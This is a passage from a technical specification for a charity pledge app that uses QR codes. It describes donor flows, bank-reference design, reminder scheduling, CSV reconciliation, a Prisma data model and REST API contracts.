**Key screens** | None — shows printed QR or phone screen to donors | +| **Tech comfort** | Low — just needs to hold up a QR code | + +--- + +## 3. Core Flows + +### 3.1 Event Setup Flow + +``` +┌──────────────┐ ┌──────────────┐ ┌──────────────┐ ┌──────────────┐ +│ 1. Create │───▶│ 2. Add QR │───▶│ 3. Download │───▶│ 4. Share │ +│ Event │ │ Sources │ │ QR sheets │ │ Event Link │ +└──────────────┘ └──────────────┘ └──────────────┘ └──────────────┘ +``` + +**Step 1 — Create Event** +- Name (required), date, location, fundraising goal +- Auto-generates URL slug: `{name}-{timestamp_base36}` +- Status starts as `active` (also: `draft`, `closed`, `archived`) + +**Step 2 — Add QR Sources** +- Each QR source represents a table, volunteer, or campaign channel +- Label examples: `"Table 5"`, `"Volunteer: Ahmed"`, `"Instagram Story"` +- Each gets a unique 8-character code (human-safe alphabet) +- QR encodes: `{BASE_URL}/p/{code}` + +**Step 3 — Download QR Sheets** +- Individual PNG download per QR source (800×800px) +- QR colour: org primary colour (default `#1e40af`) +- Error correction: Level M (15% damage tolerance) + +**Step 4 — Share Event Link** +- Direct URL for digital channels (no QR needed) +- Attribution still tracked via `qrSourceId` + +--- + +### 3.2 Donor Pledge Flow (3 screens, 15 seconds) + +``` + ┌─────────────┐ ┌─────────────┐ ┌─────────────┐ ┌─────────────────┐ + │ Screen 1 │────▶│ Screen 2 │────▶│ Screen 3 │────▶│ Confirmation │ + │ Amount │ │ Method │ │ Identity │ │ + Instructions │ + └─────────────┘ └─────────────┘ └─────────────┘ └─────────────────┘ + + 6 presets + Bank (★) Email OR phone Bank → ref + copy + custom entry Direct Debit Name (optional) DD → mandate link + Card Gift Aid checkbox Card → checkout +``` + +**Screen 1 — Amount** +- Six preset buttons (e.g., £10, £25, £50, £100, £250, £500) +- Custom amount input (min £1, max £1,000,000) +- Analytics: `amount_selected` fires on tap + +**Screen 2 — Payment Method** +- **Bank Transfer** (recommended) — zero fees, donor sends manually +- **Direct Debit** — GoCardless mandate, auto-collected +- **Card** — Stripe checkout (future) +- Bank is visually highlighted as the recommended option +- Analytics: `rail_selected` fires on tap + +**Screen 3 — Identity** +- Email **or** phone required (at least one) +- Name optional +- Gift Aid checkbox with eligibility explainer +- Analytics: `identity_submitted` fires on submit + +**Confirmation — Payment Instructions** +- Varies by rail: + +| Rail | Confirmation Content | +|------|---------------------| +| **Bank** | Sort code, account number, account name, **unique reference** with one-tap copy button, "I've paid" button | +| **Direct Debit** | GoCardless mandate link (redirects to authorisation) | +| **Card** | Stripe payment link (future) | + +- Analytics: `pledge_completed` fires on render + +--- + +### 3.3 Payment Collection Flow + +#### Bank Transfer (Primary) + +``` + Donor Charity's Bank PNPL + │ │ │ + │ Transfer with ref │ │ + │ PNPL-7K4P-50 │ │ + │─────────────────────────────▶│ │ + │ │ │ + │ │ Export CSV │ + │ │──────────────────────▶│ + │ │ │ + │ │ │ Auto-match by + │ │ │ reference code + │ │ │ + │ │ Pledge marked "paid" │ + │ │◀──────────────────────│ + │ │ │ + │ Reminders stop │ │ + │◀─────────────────────────────────────────────────────│ +``` + +1. Donor transfers money using the unique reference +2. Charity exports bank statement as CSV +3. Uploads CSV to PNPL reconciliation tool +4. PNPL auto-matches references → marks pledges as paid +5. Remaining reminders are skipped + +#### GoCardless Direct Debit + +``` + Donor GoCardless PNPL + │ │ │ + │ Authorise mandate │ │ + │─────────────────────────────▶│ │ + │ │ │ + │ │ Payment collected │ + │ │──────────────────────▶│ + │ │ │ + │ │ Webhook: confirmed │ + │ │──────────────────────▶│ + │ │ │ + │ │ Pledge marked "paid" │ + │ │◀──────────────────────│ +``` + +#### Card (Future — Stripe) + +``` + Donor ──▶ Stripe Checkout ──▶ Webhook confirms ──▶ Pledge marked "paid" +``` + +--- + +### 3.4 Reminder Sequence + +| Step | Timing | Template Key | Subject | Description | +|------|--------|-------------------|----------------------------------|-------------------------------------------------------| +| 0 | T+0 | `instructions` | Payment details for your £X pledge | Bank details, reference, copy button | +| 1 | T+2d | `gentle_nudge` | Quick reminder about your pledge | Friendly — "if you've already paid, thank you!" | +| 2 | T+7d | `urgency_impact` | Your pledge is making a difference | Impact story + urgency framing | +| 3 | T+14d | `final_reminder` | Final reminder about your pledge | Clear options: pay now or cancel | + +**Stop Rules:** +- Auto-stop on payment match (bank reconciliation or webhook) +- Auto-stop on manual "mark as paid" by staff +- Auto-stop on pledge cancellation +- Donor can self-cancel via link in every reminder + +**Channel:** Email (default). SMS and WhatsApp channels are defined in the schema but not yet implemented. + +**Delivery:** Reminders are exposed via a polling webhook endpoint (`GET /api/webhooks`). External automation tools (Zapier, Make, n8n) poll for due reminders and handle actual email/SMS delivery. + +--- + +### 3.5 Reconciliation Flow + +``` + ┌────────────┐ ┌────────────┐ ┌────────────┐ ┌────────────┐ ┌────────────┐ + │ 1. Export │───▶│ 2. Upload │───▶│ 3. Map │───▶│ 4. Review │───▶│ 5. Confirm │ + │ Bank CSV │ │ to PNPL │ │ Columns │ │ Matches │ │ & Apply │ + └────────────┘ └────────────┘ └────────────┘ └────────────┘ └────────────┘ +``` + +**Step 1 — Export Bank Statement** +- Download CSV from online banking (any UK bank format) + +**Step 2 — Upload to PNPL** +- `POST /api/imports/bank-statement` with `multipart/form-data` +- Accepts `.csv` files, parsed with PapaParse + +**Step 3 — Configure Column Mapping** +- Map bank-specific column names: + - `dateCol` → transaction date + - `descriptionCol` → transaction description + - `amountCol` or `creditCol` → payment amount + - `referenceCol` → payment reference (optional — also searched in description) +- Only credit rows (positive amounts) are processed + +**Step 4 — Auto-Match** +Three matching strategies applied in order: + +| Priority | Strategy | Confidence | Description | +|----------|--------------------|-----------|--------------------------------------------| +| 1 | Exact reference | `exact` | Normalised ref matches `reference` column | +| 2 | Description search | `exact` | Normalised ref found within `description` | +| 3 | Partial code match | `partial` | 4-char code portion found in `description` | + +Normalisation: strip spaces, strip dashes, uppercase. e.g., `pnpl 7k4p 50` → `PNPL7K4P50` + +**Step 5 — Confirm & Apply** +- Exact matches are auto-confirmed: + - Pledge status → `paid`, `paidAt` set + - Payment record created (`matchedBy: "auto"`) + - Pending reminders → `skipped` +- Partial matches flagged for manual review +- Import record saved with stats (total rows, credits, matches, unmatched) + +--- + +### 3.6 CRM Export Flow + +**Endpoint:** `GET /api/exports/crm-pack` + +Downloads a CSV with full pledge attribution. Filterable by `?eventId=`. + +**Export Fields:** + +| Column | Description | Example | +|--------------------|------------------------------------------|-----------------------| +| `pledge_reference` | Unique bank-safe reference | `PNPL-7K4P-50` | +| `donor_name` | Donor's name (if provided) | `Sarah Ahmed` | +| `donor_email` | Donor's email | `sarah@example.com` | +| `donor_phone` | Donor's phone | `07700900123` | +| `amount_gbp` | Pledge amount in pounds | `50.00` | +| `payment_method` | Payment rail | `bank` | +| `status` | Current pledge status | `paid` | +| `event_name` | Source event | `Annual Gala 2026` | +| `source_label` | QR source label | `Table 5` | +| `volunteer_name` | Volunteer assigned to QR source | `Ahmed` | +| `table_name` | Table assigned to QR source | `VIP Table` | +| `gift_aid` | Gift Aid eligibility | `Yes` | +| `pledged_at` | Pledge creation timestamp (ISO 8601) | `2026-03-15T19:32:00Z`| +| `paid_at` | Payment confirmation timestamp | `2026-03-17T10:15:00Z`| +| `days_to_collect` | Days between pledge and payment | `2` | + +--- + +## 4. Data Model + +Ten tables in PostgreSQL 16, managed via Prisma ORM. + +### Entity Relationship Diagram + +``` +┌──────────────────┐ +│ Organization │ +│──────────────────│ +│ id │ +│ name │ ┌──────────────────┐ +│ slug (unique) │───────▶│ User │ +│ country │ 1:N │──────────────────│ +│ timezone │ │ id │ +│ bankName │ │ email (unique) │ +│ bankSortCode │ │ name │ +│ bankAccountNo │ │ hashedPassword │ +│ bankAccountName │ │ role │ +│ refPrefix │ │ organizationId │ +│ logo │ └──────────────────┘ +│ primaryColor │ +│ gcAccessToken │ +│ gcEnvironment │ +└────────┬─────────┘ + │ 1:N + ▼ +┌──────────────────┐ 1:N ┌──────────────────┐ +│ Event │───────▶│ QrSource │ +│──────────────────│ │──────────────────│ +│ id │ │ id │ +│ name │ │ label │ +│ slug │ │ code (unique) │ +│ description │ │ volunteerName │ +│ eventDate │ │ tableName │ +│ location │ │ eventId │ +│ goalAmount │ │ scanCount │ +│ currency │ └────────┬─────────┘ +│ status │ │ +│ organizationId │ │ 0:N +└────────┬─────────┘ │ + │ 1:N │ + ▼ │ +┌──────────────────┐◀────────────────┘ +│ Pledge │ +│──────────────────│ +│ id │ 1:1 ┌────────────────────────┐ +│ reference │───────▶│ PaymentInstruction │ +│ amountPence │ │────────────────────────│ +│ currency │ │ id │ +│ rail │ │ pledgeId (unique) │ +│ status │ │ bankReference │ +│ donorName │ │ bankDetails (JSON) │ +│ donorEmail │ │ gcMandateId │ +│ donorPhone │ │ gcMandateUrl │ +│ giftAid │ │ sentAt │ +│ iPaidClickedAt │ └────────────────────────┘ +│ eventId │ +│ qrSourceId │ 1:N ┌──────────────────┐ +│ organizationId │───────▶│ Payment │ +│ paidAt │ │──────────────────│ +│ cancelledAt │ │ id │ +└────────┬─────────┘ │ pledgeId │ + │ │ provider │ + │ │ providerRef │ + │ 1:N │ amountPence │ + ▼ │ status │ +┌──────────────────┐ │ matchedBy │ +│ Reminder │ │ receivedAt │ +│──────────────────│ │ importId │ +│ id │ └──────────────────┘ +│ pledgeId │ +│ step │ +│ channel │ +│ scheduledAt │ +│ sentAt │ +│ status │ +│ payload (JSON) │ +└──────────────────┘ + +┌──────────────────┐ 1:N ┌──────────────────┐ +│ Import │───────▶│ Payment │ +│──────────────────│ │ (via importId) │ +│ id │ └──────────────────┘ +│ organizationId │ +│ kind │ +│ fileName │ +│ rowCount │ ┌──────────────────┐ +│ matchedCount │ │ AnalyticsEvent │ +│ unmatchedCount │ │──────────────────│ +│ mappingConfig │ │ id │ +│ stats (JSON) │ │ eventType │ +│ status │ │ pledgeId │ +└──────────────────┘ │ eventId │ + │ qrSourceId │ + │ metadata (JSON) │ + │ createdAt │ + └──────────────────┘ +``` + +### Table Details + +#### 4.1 `Organization` + +The top-level tenant. All data is scoped to an organization. + +| Field | Type | Description | +|-----------------|----------|--------------------------------------------------| +| `id` | `cuid` | Primary key | +| `name` | `string` | Organisation display name | +| `slug` | `string` | URL-safe unique identifier | +| `country` | `string` | Default `"UK"` | +| `timezone` | `string` | Default `"Europe/London"` | +| `bankName` | `string?`| Bank name for payment instructions | +| `bankSortCode` | `string?`| 6-digit sort code | +| `bankAccountNo` | `string?`| 8-digit account number | +| `bankAccountName`| `string?`| Name on the bank account | +| `refPrefix` | `string` | Reference prefix, default `"PNPL"`, max 4 chars | +| `logo` | `string?`| Logo URL | +| `primaryColor` | `string` | Brand colour, default `"#1e40af"` | +| `gcAccessToken` | `string?`| GoCardless API token | +| `gcEnvironment` | `string` | `"sandbox"` or `"live"` | + +#### 4.2 `User` + +Staff/admin accounts for the dashboard. + +| Field | Type | Description | +|-----------------|----------|--------------------------------------------------| +| `id` | `cuid` | Primary key | +| `email` | `string` | Unique email address | +| `name` | `string?`| Display name | +| `hashedPassword`| `string?`| bcrypt hash (nullable for SSO) | +| `role` | `string` | `super_admin`, `org_admin`, `staff`, `volunteer` | +| `organizationId`| `string` | FK → Organization | + +#### 4.3 `Event` + +A fundraising event that donors pledge at. + +| Field | Type | Description | +|-----------------|------------|------------------------------------------------| +| `id` | `cuid` | Primary key | +| `name` | `string` | Event name (1–200 chars) | +| `slug` | `string` | URL-safe slug (auto-generated) | +| `description` | `string?` | Event description (max 2000 chars) | +| `eventDate` | `DateTime?`| When the event takes place | +| `location` | `string?` | Venue (max 500 chars) | +| `goalAmount` | `int?` | Fundraising target **in pence** | +| `currency` | `string` | Default `"GBP"` | +| `status` | `string` | `draft`, `active`, `closed`, `archived` | +| `organizationId`| `string` | FK → Organization | + +Unique constraint: `(organizationId, slug)` + +#### 4.4 `QrSource` + +An attribution source — a specific QR code tied to a table, volunteer, or channel. + +| Field | Type | Description | +|----------------|----------|---------------------------------------------------| +| `id` | `cuid` | Primary key | +| `label` | `string` | Human-readable label (1–100 chars) | +| `code` | `string` | Unique 8-char token for URLs | +| `volunteerName`| `string?`| Volunteer's name (for attribution) | +| `tableName` | `string?`| Table identifier (for attribution) | +| `eventId` | `string` | FK → Event | +| `scanCount` | `int` | Number of times QR was scanned (auto-incremented) | + +#### 4.5 `Pledge` + +The core entity — a donor's promise to pay. + +| Field | Type | Description | +|-----------------|------------|------------------------------------------------| +| `id` | `cuid` | Primary key | +| `reference` | `string` | Unique bank-safe reference (see §6) | +| `amountPence` | `int` | Pledge amount in pence (min 100 = £1) | +| `currency` | `string` | Default `"GBP"` | +| `rail` | `string` | `bank`, `gocardless`, `card` | +| `status` | `string` | `new`, `initiated`, `paid`, `overdue`, `cancelled` | +| `donorName` | `string?` | Donor's name | +| `donorEmail` | `string?` | Donor's email | +| `donorPhone` | `string?` | Donor's phone | +| `giftAid` | `boolean` | Gift Aid declaration (default `false`) | +| `iPaidClickedAt`| `DateTime?`| When donor clicked "I've paid" | +| `notes` | `string?` | Staff notes | +| `eventId` | `string` | FK → Event | +| `qrSourceId` | `string?` | FK → QrSource (null if direct link) | +| `organizationId`| `string` | FK → Organization | +| `paidAt` | `DateTime?`| When payment was confirmed | +| `cancelledAt` | `DateTime?`| When pledge was cancelled | + +Validation: `donorEmail` or `donorPhone` must be present (enforced by Zod schema). + +**Status State Machine:** + +``` + ┌──────────────────────┐ + ▼ │ + ┌───────┐ "I've paid" ┌──────────┐│ bank match / + │ new │─────────────────▶│initiated ││ webhook + │ │ │ ││ + └───┬───┘ └────┬─────┘│ + │ │ │ + │ bank match / webhook │ │ + │ │ │ + ▼ ▼ │ + ┌───────┐ ┌──────────┐│ + │ paid │◀─────────────────│ paid ││ + └───────┘ └──────────┘│ + ▲ │ + │ ┌──────────┐ │ + │ │ overdue │─────────────┘ + │ └────┬─────┘ + │ │ + │ ▼ + │ ┌──────────┐ + └─────────│cancelled │ + └──────────┘ +``` + +#### 4.6 `PaymentInstruction` + +Bank transfer details stored per pledge. Created automatically for `rail: "bank"`. + +| Field | Type | Description | +|----------------|----------|---------------------------------------------------| +| `id` | `cuid` | Primary key | +| `pledgeId` | `string` | FK → Pledge (unique — 1:1) | +| `bankReference`| `string` | The reference donor must use | +| `bankDetails` | `JSON` | `{sortCode, accountNo, accountName, bankName}` | +| `gcMandateId` | `string?`| GoCardless mandate ID | +| `gcMandateUrl` | `string?`| GoCardless mandate authorisation URL | +| `sentAt` | `DateTime?`| When instructions were first sent | + +#### 4.7 `Payment` + +A confirmed money movement against a pledge. + +| Field | Type | Description | +|--------------|------------|--------------------------------------------------| +| `id` | `cuid` | Primary key | +| `pledgeId` | `string` | FK → Pledge | +| `provider` | `string` | `bank`, `gocardless`, `stripe` | +| `providerRef`| `string?` | External payment/transaction ID | +| `amountPence`| `int` | Amount received in pence | +| `status` | `string` | `pending`, `confirmed`, `failed` | +| `matchedBy` | `string?` | `auto` (reconciliation) or `manual` (staff) | +| `receivedAt` | `DateTime?`| When money was received | +| `importId` | `string?` | FK → Import (if matched via bank statement) | + +#### 4.8 `Reminder` + +Scheduled follow-up messages for a pledge. + +| Field | Type | Description | +|--------------|------------|--------------------------------------------------| +| `id` | `cuid` | Primary key | +| `pledgeId` | `string` | FK → Pledge | +| `step` | `int` | Sequence number: `0`, `1`, `2`, `3` | +| `channel` | `string` | `email`, `sms`, `whatsapp` | +| `scheduledAt`| `DateTime` | When to send | +| `sentAt` | `DateTime?`| When actually sent | +| `status` | `string` | `pending`, `sent`, `skipped`, `failed` | +| `payload` | `JSON?` | Template key + subject line | + +#### 4.9 `Import` + +Record of a bank statement upload and its results. + +| Field | Type | Description | +|----------------|------------|------------------------------------------------| +| `id` | `cuid` | Primary key | +| `organizationId`| `string` | FK → Organization | +| `kind` | `string` | `bank_statement`, `gocardless_export`, `crm_export` | +| `fileName` | `string?` | Original upload filename | +| `rowCount` | `int` | Total rows in CSV | +| `matchedCount` | `int` | Rows matched to pledges | +| `unmatchedCount`| `int` | Rows that didn't match | +| `mappingConfig`| `JSON?` | Column mapping used | +| `stats` | `JSON?` | Detailed match statistics | +| `status` | `string` | `pending`, `processing`, `completed`, `failed` | + +#### 4.10 `AnalyticsEvent` + +Append-only event log for funnel tracking. + +| Field | Type | Description | +|-------------|------------|---------------------------------------------------| +| `id` | `cuid` | Primary key | +| `eventType` | `string` | Event name (see §7) | +| `pledgeId` | `string?` | FK → Pledge (if applicable) | +| `eventId` | `string?` | FK → Event (if applicable) | +| `qrSourceId`| `string?` | FK → QrSource (if applicable) | +| `metadata` | `JSON?` | Arbitrary key-value data | +| `createdAt` | `DateTime` | Timestamp | + +--- + +## 5. API Contracts + +All endpoints are Next.js API routes. Authentication is via `x-org-id` header (NextAuth.js integration ready but not yet enforced). + +### 5.1 `GET /api/qr/{token}` — Resolve QR Code + +Resolves a QR source token to event info. Increments `scanCount`. + +**Path params:** `token` — 8-char QR source code + +**Response `200`:** +```json +{ + "id": "clx...", + "name": "Annual Gala 2026", + "organizationName": "Hope Foundation", + "qrSourceId": "clx...", + "qrSourceLabel": "Table 5" +} +``` + +**Response `404`:** +```json +{ "error": "This pledge link is no longer active" } +``` + +--- + +### 5.2 `POST /api/pledges` — Create Pledge + +Creates a pledge with payment instruction and reminder schedule in a single transaction. + +**Request body:** +```json +{ + "amountPence": 5000, + "rail": "bank", + "donorName": "Sarah Ahmed", + "donorEmail": "sarah@example.com", + "donorPhone": "07700900123", + "giftAid": true, + "eventId": "clx...", + "qrSourceId": "clx..." +} +``` + +**Validation (Zod):** +- `amountPence`: int, 100–100,000,000 (£1–£1M) +- `rail`: `"bank" | "gocardless" | "card"` +- `donorEmail` or `donorPhone`: at least one required +- `eventId`: required + +**Response `201` (bank rail):** +```json +{ + "id": "clx...", + "reference": "PNPL-7K4P-50", + "bankDetails": { + "bankName": "Barclays", + "sortCode": "20-00-00", + "accountNo": "12345678", + "accountName": "Hope Foundation" + } +} +``` + +**Response `201` (other rails):** +```json +{ + "id": "clx...", + "reference": "PNPL-7K4P-50" +} +``` + +**Side effects:** +- Generates collision-resistant reference (up to 10 retries) +- Creates `PaymentInstruction` (bank rail) +- Creates 4 `Reminder` records (T+0, T+2d, T+7d, T+14d) +- Tracks `pledge_completed` analytics event + +--- + +### 5.3 `PATCH /api/pledges/{id}` — Update Pledge Status + +**Request body:** +```json +{ + "status": "paid", + "notes": "Confirmed via bank statement" +} +``` + +**Validation:** +- `status`: `"new" | "initiated" | "paid" | "overdue" | "cancelled"` +- `notes`: optional, max 1000 chars + +**Response `200`:** Full pledge object. + +**Side effects:** +- Sets `paidAt` when status → `paid` +- Sets `cancelledAt` when status → `cancelled` +- Skips all pending reminders when status → `paid` or `cancelled` + +--- + +### 5.4 `POST /api/pledges/{id}/mark-initiated` — Donor "I've Paid" + +Called when donor taps the "I've paid" button on the confirmation screen. + +**Request body:** None + +**Response `200`:** +```json +{ "ok": true } +``` + +**Side effects:** +- Sets `status` → `"initiated"`, `iPaidClickedAt` → now + +--- + +### 5.5 `GET /api/events` — List Events + +Returns all events for the organisation with pledge aggregates. + +**Headers:** `x-org-id` + +**Response `200`:** +```json +[ + { + "id": "clx...", + "name": "Annual Gala 2026", + "slug": "annual-gala-2026-m3k9a", + "eventDate": "2026-03-15T18:00:00.000Z", + "location": "Grand Hall, London", + "goalAmount": 5000000, + "status": "active", + "pledgeCount": 47, + "qrSourceCount": 12, + "totalPledged": 3750000, + "totalCollected": 2100000, + "createdAt": "2026-02-01T10:00:00.000Z" + } +] +``` + +Note: `goalAmount`, `totalPledged`, and `totalCollected` are in **pence**. + +--- + +### 5.6 `POST /api/events` — Create Event + +**Headers:** `x-org-id` + +**Request body:** +```json +{ + "name": "Annual Gala 2026", + "description": "Our biggest fundraiser of the year", + "eventDate": "2026-03-15T18:00:00.000Z", + "location": "Grand Hall, London", + "goalAmount": 5000000, + "currency": "GBP" +} +``` + +**Validation:** +- `name`: required, 1–200 chars +- `description`: optional, max 2000 chars +- `eventDate`: optional, ISO 8601 +- `location`: optional, max 500 chars +- `goalAmount`: optional, positive int (pence) + +**Response `201`:** Full event object. + +**Slug generation:** `{name_slugified}-{timestamp_base36}` + +--- + +### 5.7 `GET /api/events/{id}/qr` — List QR Sources + +Returns QR sources for an event with pledge stats. + +**Response `200`:** +```json +[ + { + "id": "clx...", + "label": "Table 5", + "code": "abc23def", + "volunteerName": "Ahmed", + "tableName": "VIP Table", + "scanCount": 23, + "pledgeCount": 8, + "totalPledged": 450000, + "createdAt": "2026-02-10T14:00:00.000Z" + } +] +``` + +--- + +### 5.8 `POST /api/events/{id}/qr` — Create QR Source + +**Request body:** +```json +{ + "label": "Table 5", + "volunteerName": "Ahmed", + "tableName": "VIP Table" +} +``` + +**Validation:** +- `label`: required, 1–100 chars +- `volunteerName`: optional, max 100 chars +- `tableName`: optional, max 100 chars + +**Response `201`:** Full QrSource object including generated `code`. + +--- + +### 5.9 `GET /api/events/{id}/qr/{qrId}/download` — Download QR PNG + +Returns an 800×800px PNG image of the QR code. + +**Query params:** `code` — QR source code (optional, falls back to `qrId`) + +**Response:** `image/png` binary with `Content-Disposition: attachment` + +--- + +### 5.10 `GET /api/dashboard` — Dashboard Stats + +Returns full pipeline data with funnel analytics. + +**Headers:** `x-org-id` +**Query params:** `eventId` (optional — filter to single event) + +**Response `200`:** +```json +{ + "summary": { + "totalPledges": 47, + "totalPledgedPence": 3750000, + "totalCollectedPence": 2100000, + "collectionRate": 56, + "overdueRate": 12 + }, + "byStatus": { + "new": 10, + "initiated": 5, + "paid": 25, + "overdue": 4, + "cancelled": 3 + }, + "byRail": { + "bank": 38, + "gocardless": 7, + "card": 2 + }, + "topSources": [ + { "label": "Table 5", "count": 8, "amount": 450000 } + ], + "funnel": { + "pledge_start": 120, + "amount_selected": 95, + "rail_selected": 80, + "identity_submitted": 55, + "pledge_completed": 47 + }, + "pledges": [ + { + "id": "clx...", + "reference": "PNPL-7K4P-50", + "amountPence": 5000, + "status": "paid", + "rail": "bank", + "donorName": "Sarah Ahmed", + "donorEmail": "sarah@example.com", + "donorPhone": null, + "eventName": "Annual Gala 2026", + "source": "Table 5", + "volunteerName": "Ahmed", + "giftAid": true, + "createdAt": "2026-03-15T19:32:00.000Z", + "paidAt": "2026-03-17T10:15:00.000Z", + "nextReminder": null, + "lastTouch": "2026-03-15T19:32:00.000Z" + } + ] +} +``` + +--- + +### 5.11 `POST /api/imports/bank-statement` — Upload & Match Bank CSV + +**Content-Type:** `multipart/form-data` + +**Form fields:** +- `file` — CSV file +- `mapping` — JSON string with column mapping + +**Mapping schema:** +```json +{ + "dateCol": "Date", + "descriptionCol": "Description", + "amountCol": "Amount", + "creditCol": "Credit", + "referenceCol": "Reference" +} +``` + +**Response `200`:** +```json +{ + "importId": "clx...", + "summary": { + "totalRows": 150, + "credits": 45, + "exactMatches": 12, + "partialMatches": 3, + "unmatched": 30, + "autoConfirmed": 12 + }, + "matches": [ + { + "bankRow": { + "date": "2026-03-17", + "description": "PNPL-7K4P-50 S AHMED", + "amount": 50.00, + "reference": "PNPL-7K4P-50" + }, + "pledgeId": "clx...", + "pledgeReference": "PNPL-7K4P-50", + "confidence": "exact", + "matchedAmount": 50.00, + "autoConfirmed": true + } + ] +} +``` + +**Side effects (exact matches):** +- Pledge status → `paid`, `paidAt` set +- Payment record created (`provider: "bank"`, `matchedBy: "auto"`) +- Pending reminders → `skipped` + +--- + +### 5.12 `GET /api/exports/crm-pack` — Download CRM CSV + +**Headers:** `x-org-id` +**Query params:** `eventId` (optional) + +**Response:** `text/csv` with `Content-Disposition: attachment; filename="crm-export-YYYY-MM-DD.csv"` + +See §3.6 for field definitions. + +--- + +### 5.13 `GET /api/webhooks` — Poll Pending Reminders + +Polling endpoint for external automation (Zapier, Make, n8n). + +**Query params:** +- `since` — ISO 8601 timestamp (only reminders scheduled after this time) +- `limit` — max results (default 50) + +**Response `200`:** +```json +{ + "events": [ + { + "event": "reminder.due", + "timestamp": "2026-03-17T10:00:00.000Z", + "data": { + "reminderId": "clx...", + "pledgeId": "clx...", + "step": 1, + "channel": "email", + "scheduledAt": "2026-03-17T19:32:00.000Z", + "donor": { + "name": "Sarah Ahmed", + "email": "sarah@example.com", + "phone": null + }, + "pledge": { + "reference": "PNPL-7K4P-50", + "amount": 5000, + "rail": "bank" + }, + "event": "Annual Gala 2026", + "organization": "Hope Foundation", + "payload": { + "templateKey": "gentle_nudge", + "subject": "Quick reminder about your pledge" + } + } + } + ], + "count": 1 +} +``` + +--- + +### 5.14 `POST /api/analytics` — Track Event + +Fire-and-forget analytics tracking. Never returns errors to avoid breaking donor flow. + +**Request body:** +```json +{ + "eventType": "amount_selected", + "pledgeId": null, + "eventId": "clx...", + "qrSourceId": "clx...", + "metadata": { "amount": 5000, "preset": true } +} +``` + +**Response `200`:** +```json +{ "ok": true } +``` + +--- + +## 6. Payment Reference Design + +The payment reference is the critical link between a pledge in PNPL and a transaction on a bank statement. It must be simultaneously human-readable, bank-compatible, and collision-resistant. + +### Format + +``` +┌────────┐ ┌──────┐ ┌─────┐ +│ PREFIX │─│ CODE │─│ AMT │ +└────────┘ └──────┘ └─────┘ + 1–4 ch 4 ch 1–3 ch + +Example: PNPL-7K4P-50 +``` + +| Segment | Length | Source | Purpose | +|----------|---------|-------------------------------------|----------------------------| +| `PREFIX` | 1–4 ch | Org `refPrefix` (default `"PNPL"`) | Identify the charity | +| `CODE` | 4 ch | Random (human-safe alphabet) | Unique pledge identifier | +| `AMT` | 1–3 ch | Last 3 digits of `£` amount | Aide manual matching | + +### Human-Safe Alphabet + +``` +2 3 4 5 6 7 8 9 +A B C D E F G H J K L M N P Q R S T U V W X Y Z +``` + +**Excluded:** `0` (confused with `O`), `1` (confused with `I`/`l`), `I`, `O`, `l` + +31 characters → 4-char code = 31⁴ = **923,521 combinations per prefix** + +### Constraints + +| Constraint | Limit | Reason | +|---------------------|----------------|---------------------------------------------| +| Max total length | 18 characters | UK BACS payment reference field limit | +| Unique per database | Enforced | Prisma `@unique` constraint on `reference` | +| Collision retry | Up to 10 times | Generate new code if collision detected | +| Overflow protection | Truncate prefix| If ref > 18 chars, prefix truncated to 4 | + +### Matching Normalisation + +When matching bank statement descriptions against references: + +``` +Input: "pnpl 7k4p 50" → Normalised: "PNPL7K4P50" +Input: "PNPL-7K4P-50" → Normalised: "PNPL7K4P50" +Input: " Pnpl 7K4P " → Normalised: "PNPL7K4P" (trimmed) +``` + +Algorithm: strip all whitespace and dashes, uppercase. + +--- + +## 7. Analytics Events + +### Event Types + +| Event | When Fired | Metadata | +|----------------------------|---------------------------------------------------|-------------------------------| +| `pledge_start` | Donor opens pledge flow (QR scanned) | `{eventId, qrSourceId}` | +| `amount_selected` | Donor selects/enters amount | `{amount, preset: boolean}` | +| `rail_selected` | Donor chooses payment method | `{rail}` | +| `identity_submitted` | Donor submits contact details | `{hasEmail, hasPhone, giftAid}` | +| `pledge_completed` | Pledge created successfully | `{amountPence, rail}` | +| `instruction_copy_clicked` | Donor copies bank reference | `{reference}` | +| `i_paid_clicked` | Donor clicks "I've paid" | `{pledgeId}` | +| `payment_matched` | Payment confirmed (reconciliation or webhook) | `{matchedBy, provider}` | + +### Dashboard Metrics + +**Pledge Funnel:** +``` +pledge_start ████████████████████████████████████ 120 +amount_selected ████████████████████████████ 95 (79%) +rail_selected ██████████████████████ 80 (67%) +identity_submitted ██████████████ 55 (46%) +pledge_completed ████████████ 47 (39%) +``` + +**Collection Pipeline:** +- **Collection rate:** `totalCollectedPence / totalPledgedPence` (percentage) +- **Overdue rate:** `overdueCount / totalPledges` (percentage) +- **Top sources:** QR sources ranked by total amount pledged +- **By status:** Breakdown across `new`, `initiated`, `paid`, `overdue`, `cancelled` +- **By rail:** Breakdown across `bank`, `gocardless`, `card` + +--- + +## 8. Lead Qualification + +PNPL's business model generates qualified leads for Omair's fractional Head of Technology consultancy. The qualification system is passive — it observes usage patterns rather than gating features. + +### Trigger Conditions + +A lead is qualified when **any** of the following are met: +- Organisation has created ≥2 events **and** received ≥20 pledges total +- Organisation has received ≥£5,000 in total pledged amount +- Organisation has used reconciliation (≥1 bank statement import) + +### Qualification Score + +Score is calculated from observable usage signals: + +| Signal | Weight | Description | +|--------------------------------|--------|------------------------------------------| +| Attribution usage | High | Multiple QR sources per event | +| Follow-up behaviour | High | Checking dashboard, updating pledge statuses | +| Reconciliation imports | High | Uploading bank statements = operational maturity | +| Event frequency | Medium | Creating events regularly | +| Collection rate | Medium | Higher rate = engaged with the tool | +| CRM exports | Low | Using export = integrating with other systems | + +### Application Flow + +When the qualification threshold is met, the dashboard shows an "Apply for Fractional CTO" link at `/dashboard/apply`. + +The application form is **pre-filled** with: +- Organisation name and size (from event data) +- Number of events run +- Total pledges collected +- Collection rate +- Payment rails used +- Whether reconciliation is active + +This gives Omair immediate context on the charity's operational maturity without the applicant needing to self-report. + +--- + +## 9. Integration Points + +### 9.1 Webhook Polling (Zapier / Make / n8n) + +PNPL does not push webhooks. Instead, external automation tools **poll** for pending events: + +``` +GET /api/webhooks?since=2026-03-17T00:00:00Z&limit=50 +``` + +**Typical Zapier workflow:** +1. Schedule: poll every 5 minutes +2. Trigger: new `reminder.due` events +3. Action: send email via SendGrid / Mailchimp +4. Action: mark reminder as sent (future endpoint) + +**Event format:** See §5.13. + +### 9.2 CSV Export + +`GET /api/exports/crm-pack` produces a standard CSV importable into: +- Salesforce +- HubSpot +- Beacon CRM +- Donorfy +- Any spreadsheet tool + +### 9.3 GoCardless (Direct Debit) + +| Setting | Storage | Notes | +|------------------|--------------------------------|-------------------------------| +| Access token | `Organization.gcAccessToken` | Encrypted at rest | +| Environment | 